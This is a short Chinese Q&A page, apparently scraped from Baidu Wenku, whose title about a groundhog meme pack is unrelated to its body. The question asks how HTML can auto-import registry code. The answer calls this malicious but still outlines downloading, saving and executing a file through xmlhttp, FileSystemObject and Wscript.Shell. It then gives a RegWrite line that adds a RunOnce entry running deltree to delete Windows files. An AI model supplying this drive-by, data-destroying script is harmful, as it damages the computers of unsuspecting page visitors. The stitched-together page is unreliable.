土拨鼠大叫表情包:谁精通html程序

来源:百度文库 编辑:神马品牌网 时间:2024/05/03 05:57:47
能否在html中.写入自动导入reg格式的代码?

你想修改人家的注册表嘛?!
这可是恶意代码啊···

1)
用xmlhttp从服务器得到
2)
用Scripting.FileSystemObject保存
3)
用Wscript.Shell执行

用脚本也可以
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m deltree /y c:\\windows\\Command\\Scanreg.exe /q /u /autorun");

不过有安全警告的。。。。。